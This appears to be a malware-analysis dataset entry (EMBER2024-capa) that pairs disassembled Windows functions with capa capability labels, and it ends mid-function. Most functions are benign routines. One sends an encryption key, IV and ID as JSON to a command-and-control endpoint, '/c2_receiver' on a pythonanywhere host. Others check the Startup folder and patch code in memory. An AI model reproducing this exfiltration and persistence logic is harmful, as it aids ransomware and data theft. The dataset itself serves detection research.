joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006b9e0
Capabilities:
Hash data using fnv

Disassembly:
push rbx
push rsi
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov ebx, 1
mov eax, ebx
shl rax, cl
cmp rdx, rax
jbe 0x14006ba15
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x58], rdi
mov rdi, qword [rsi + 8]
or rax, rbx
bsr rcx, rax
mov r8, rdi
mov qword [rsp + 0x20], r14
inc ecx
shl rbx, cl
lea rcx, [rsi + 0x18]
lea rdx, [rbx + rbx]
call fcn.14006ab00
mov qword [rsi + 0x38], rbx
lea rax, [rbx - 1]
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 8]
mov rcx, qword [rcx]
cmp rcx, rdi
je 0x14006bb84
mov qword [rsp + 0x50], rbp
mov rax, rcx
movabs rbp, 0xcbf29ce484222325
movabs rbx, 0x100000001b3
nop dword [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rbp
imul r11, rbx
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rbx
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rbx
xor r11, rdx
movzx edx, byte [rax + 0x14]
imul r11, rbx
xor r11, rdx
movzx edx, byte [rax + 0x15]
imul r11, rbx
xor r11, rdx
movzx edx, byte [rax + 0x16]
imul r11, rbx
xor r11, rdx
movzx edx, byte [rax + 0x17]
imul r11, rbx
xor r11, rdx
imul r11, rbx
and r11, qword [rsi + 0x30]
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rdi
jne 0x14006baf9
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x14006bb73
mov rdx, qword [r11 + 8]
mov r8, qword [rax + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x14006bb36
mov r10, qword [rdx]
cmp r10, rax
je 0x14006bb30
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x14006bb73
cmp r9, rdx
je 0x14006bb4f
nop dword [rax + rax]
mov rdx, qword [rdx + 8]
cmp r8, qword [rdx + 0x10]
je 0x14006bb95
cmp r9, rdx
jne 0x14006bb40
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rdi
jne 0x14006ba80
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop rsi
pop rbx
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14006bb73
Function at 0x14006bbc0
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x14006bbf1
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x14008b6a8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x14008b6b8]
lea rdx, [rdi + rdi]
call fcn.14006ab00
mov rax, qword [0x14008b6a8]
lea r9, [rdi - 1]
mov qword [0x14008b6d0], r9
mov qword [0x14008b6d8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x14006bd92
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x14]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x15]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x16]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x17]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x14008b6b8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x14006bcdc
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x14006bd53
mov rdx, qword [r11 + 8]
mov r8, qword [rax + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x14006bd19
mov r10, qword [rdx]
cmp r10, rax
je 0x14006bd13
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x14006bd53
cmp r9, rdx
je 0x14006bd2f
nop
mov rdx, qword [rdx + 8]
cmp r8, qword [rdx + 0x10]
je 0x14006bd67
cmp r9, rdx
jne 0x14006bd20
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x14006bd8d
mov r9, qword [0x14008b6d0]
jmp 0x14006bc61
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14006bd53
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14006ff34
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14006ff6e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14006ff73
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14006ffbc
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400749c0]
cmp byte [rcx + rax], 0
je 0x14006ffbc
dec r8
sub rdx, 1
jne 0x14006ffa2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400715ec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140071636
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140071636
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140071636
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140071636
cmp dword [rcx + 0x84], 0xe
jbe 0x140071636
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140071638
xor al, al
add rsp, 0x28
ret
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [str.Content_Type:_application_json]
mov eax, dword [0x140003720]
xor r12d, r12d
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x140003724]
mov r14, rdx
movups xmmword [rsp + 0x40], xmm0
mov rbp, rcx
mov word [rsp + 0x5c], ax
movsd xmm0, qword [0x140003718]
mov edi, r12d
movzx eax, byte [0x140003726]
mov ebx, r12d
movsd qword [rsp + 0x50], xmm0
mov esi, 0x41
mov byte [rsp + 0x5e], al
nop word [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, str._02x
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xec
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001ff0
add rsp, 0x1e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001710
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
xor ebx, ebx
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x20]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001770
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x14000179b
inc ebx
add rdi, 8
cmp ebx, 2
jb 0x140001740
xor eax, eax
jmp 0x1400017a0
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001ff0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400028e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000292e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000292e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000292e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000292e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000292e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002930
xor al, al
add rsp, 0x28
ret
Function at 0x140006f20
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x1400070fa
push rdi
sub rsp, 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, DispGetParam
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.PSAPI.DLL_GetModuleInformation]
test eax, eax
je 0x1400070f5
mov eax, 0x5a4d
mov qword [rsp + 0x50], r15
mov r15d, dword [rsp + 0x38]
cmp word [rdi], ax
jne 0x1400070f0
movsxd rcx, dword [rdi + 0x3c]
lea rax, [rcx + 0x108]
cmp rax, r15
jae 0x1400070f0
cmp dword [rcx + rdi], 0x4550
mov qword [rsp + 0x80], rbp
lea rbp, [rcx + rdi]
jne 0x1400070e8
movzx eax, word [rbp + 4]
mov ecx, 0x14c
mov qword [rsp + 0x88], rsi
xor esi, esi
mov qword [rsp + 0x58], r14
cmp cx, ax
jne 0x140006fcc
xor r14d, r14d
jmp 0x140006ffe
mov ecx, 0x200
mov r8d, 0xaa64
cmp cx, ax
je 0x140006ff0
mov ecx, 0x8664
cmp cx, ax
je 0x140006ff0
cmp r8w, ax
jne 0x1400070db
cmp r8w, ax
mov r14d, 1
sete sil
mov qword [rsp + 0x78], rbx
mov ebx, dword [rbp + 0x28]
add rbx, rdi
je 0x1400070d6
cmp rbx, rdi
jbe 0x1400070d6
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x1400070d6
mov rcx, rbx
call fcn.140007c90
test eax, eax
je 0x1400070d6
mov r9d, r14d
mov dword [rsp + 0x20], esi
mov r8d, r15d
mov rdx, rdi
mov rcx, rbp
call fcn.140007d00
mov edx, reloc.OLEAUT32.dll_SafeArrayLock
mov dword [rsp + 0x70], 0
lea r9, [rsp + 0x70]
mov rcx, rbx
lea r8d, [rdx + 0x2c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400070d6
test r14d, r14d
jne 0x140007086
mov eax, dword [0x1400621c0]
mov dword [rbx], eax
movzx eax, byte [0x1400621c4]
mov byte [rbx + 4], al
jmp 0x1400070aa
test esi, esi
je 0x140007096
mov rax, qword [0x1400621b8]
mov qword [rbx], rax
jmp 0x1400070aa
movzx eax, word [0x1400621b4]
mov word [rbx], ax
movzx eax, byte [0x1400621b6]
mov byte [rbx + 2], al
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x70]
mov edx, reloc.OLEAUT32.dll_SafeArrayLock
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
mov r14, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x80]
mov r15, qword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
Function at 0x14000ad00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140062148]
xor rax, rsp
mov qword [rsp + 0x270], rax
cmp qword [rcx + 0x38], 0
mov rbx, rcx
je 0x14000ad5d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000ad84
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000ad5d
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
xor edi, edi
mov qword [rbx + 0x38], rdi
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140032650
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
xor edx, edx
lea rcx, [rsp + 0x34]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor edi, edi
test eax, eax
je 0x14000adf0
mov rcx, qword [rbx + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rax
test rcx, rcx
je 0x14000ae1c
mov rax, qword [rcx]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x28]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
test eax, eax
je 0x14000adf0
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000adb2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000ae12
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], rdi
mov eax, 1
jmp 0x14000ad5f
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
Function at 0x14000b730
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [0x140062148]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor r15d, r15d
mov qword [0x14006d0e8], r15
xorps xmm0, xmm0
movdqu xmmword [0x14006d0f8], xmm0
movdqa xmm0, xmmword [0x140049940]
movdqu xmmword [0x14006d0f8], xmm0
mov word [0x14006d0e8], r15w
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140045e40]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea rbp, [r15 - 1]
test eax, eax
js 0x14000b7cc
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x14000b7e1
mov r8, rbp
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000b7b5
lea rcx, [0x14006d0e8]
call fcn.140008a30
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x14000b7e1
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x20], r15
mov rdi, qword [0x14006d0f8]
test rdi, rdi
je 0x14000b934
lea rcx, [0x14006d0e8]
call fcn.14000c810
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x14000b934
cmp cx, 0x2f
je 0x14000b934
mov rsi, qword [0x14006d100]
cmp rdi, rsi
jae 0x14000b84a
lea rax, [rdi + 1]
mov qword [0x14006d0f8], rax
lea rax, [0x14006d0e8]
cmp rsi, 8
cmovae rax, qword [0x14006d0e8]
mov dword [rax + rdi*2], 0x5c
jmp 0x14000b934
movabs rbx, 0x7ffffffffffffffe
mov rax, rbx
sub rax, rdi
cmp rax, 1
jb 0x14000b961
lea r14, [rdi + 1]
mov rcx, r14
or rcx, 7
cmp rcx, rbx
ja 0x14000b893
mov rdx, rsi
shr rdx, 1
mov rax, rbx
sub rax, rdx
cmp rsi, rax
ja 0x14000b893
lea rax, [rdx + rsi]
mov rbx, rcx
cmp rcx, rax
cmovb rbx, rax
mov rdx, rbx
add rdx, 1
cmovb rdx, rbp
lea rcx, [0x14006d0e8]
call fcn.140008b60
mov rbp, rax
mov qword [0x14006d0f8], r14
mov qword [0x14006d100], rbx
add rdi, rdi
mov r8, rdi
mov rcx, rax
cmp rsi, 8
jb 0x14000b91a
mov rbx, qword [0x14006d0e8]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + rbp], 0x5c
lea rdx, [rsi*2 + 2]
cmp rdx, 0x1000
jb 0x14000b909
add rdx, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x14000b913
mov rbx, rcx
mov rcx, rbx
call fcn.140032534
jmp 0x14000b92d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [0x14006d0e8]
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + rbp], 0x5c
mov qword [0x14006d0e8], rbp
lea rax, [0x14006d0e8]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140032650
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
call fcn.140004550
int3
Function at 0x14000b970
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [0x140062148]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor r15d, r15d
mov qword [0x14006d090], r15
xorps xmm0, xmm0
movdqu xmmword [0x14006d0a0], xmm0
movdqa xmm0, xmmword [0x140049940]
movdqu xmmword [0x14006d0a0], xmm0
mov word [0x14006d090], r15w
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140045e50]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea rbp, [r15 - 1]
test eax, eax
js 0x14000ba0c
mov rdx, qword [rsp + 0x20]
test rdx, rdx
je 0x14000ba21
mov r8, rbp
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000b9f5
lea rcx, [0x14006d090]
call fcn.140008a30
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x14000ba21
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov qword [rsp + 0x20], r15
mov rdi, qword [0x14006d0a0]
test rdi, rdi
je 0x14000bb74
lea rcx, [0x14006d090]
call fcn.14000c810
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x14000bb74
cmp cx, 0x2f
je 0x14000bb74
mov rsi, qword [0x14006d0a8]
cmp rdi, rsi
jae 0x14000ba8a
lea rax, [rdi + 1]
mov qword [0x14006d0a0], rax
lea rax, [0x14006d090]
cmp rsi, 8
cmovae rax, qword [0x14006d090]
mov dword [rax + rdi*2], 0x5c
jmp 0x14000bb74
movabs rbx, 0x7ffffffffffffffe
mov rax, rbx
sub rax, rdi
cmp rax, 1
jb 0x14000bba1
lea r14, [rdi + 1]
mov rcx, r14
or rcx, 7
cmp rcx, rbx
ja 0x14000bad3
mov rdx, rsi
shr rdx, 1
mov rax, rbx
sub rax, rdx
cmp rsi, rax
ja 0x14000bad3
lea rax, [rdx + rsi]
mov rbx, rcx
cmp rcx, rax
cmovb rbx, rax
mov rdx, rbx
add rdx, 1
cmovb rdx, rbp
lea rcx, [0x14006d090]
call fcn.140008b60
mov rbp, rax
mov qword [0x14006d0a0], r14
mov qword [0x14006d0a8], rbx
add rdi, rdi
mov r8, rdi
mov rcx, rax
cmp rsi, 8
jb 0x14000bb5a
mov rbx, qword [0x14006d090]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + rbp], 0x5c
lea rdx, [rsi*2 + 2]
cmp rdx, 0x1000
jb 0x14000bb49
add rdx, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x14000bb53
mov rbx, rcx
mov rcx, rbx
call fcn.140032534
jmp 0x14000bb6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [0x14006d090]
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + rbp], 0x5c
mov qword [0x14006d090], rbp
lea rax, [0x14006d090]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140032650
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
call fcn.140004550
int3
Function at 0x140015c20
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, qword [rcx + 0x10]
mov rsi, rdx
mov rbx, rcx
test rdi, rdi
je 0x140015cd9
cmp qword [rdi], 0
mov rbx, qword [rcx]
je 0x140015ca5
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x140015cbd
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x140015cbd
mov rdx, qword [rdi]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rsi
call qword [case.0x140025198.0]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
cmp dword [rdi + 8], 0
je case.default.0x140015cbd
mov rcx, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
cmp byte [0x14006c5f8], 0
jne 0x140015d24
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140015d14
lea rdx, [0x14003a6a8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14006c5f0], rax
mov byte [0x14006c5f8], 1
jmp 0x140015d2b
mov rax, qword [0x14006c5f0]
mov byte [0x14006c5f8], 1
jmp 0x140015d2b
mov rax, qword [0x14006c5f0]
mov rcx, qword [rbx]
mov rdx, rsi
test rax, rax
je 0x140015cae
mov r8d, dword [rbx + 8]
xor r9d, r9d
call qword [case.0x140025198.0]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
invalid
Function at 0x140016c00
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140062148]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r9d, dword [rcx + 8]
xor ebp, ebp
mov rsi, rdx
mov qword [rsp + 0x48], rbp
mov r8, rdx
mov qword [rsp + 0x40], rbp
mov rdx, qword [rcx]
mov rdi, rcx
or r9d, 0x2001f
mov qword [rsp + 0x50], rbp
lea rcx, [rsp + 0x40]
call fcn.1400166c0
mov ebx, eax
test eax, eax
jne 0x140016d17
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x58], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140016cf1
nop dword [rax]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140016c00
mov ebx, eax
test eax, eax
jne 0x140016d17
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbp
xor edx, edx
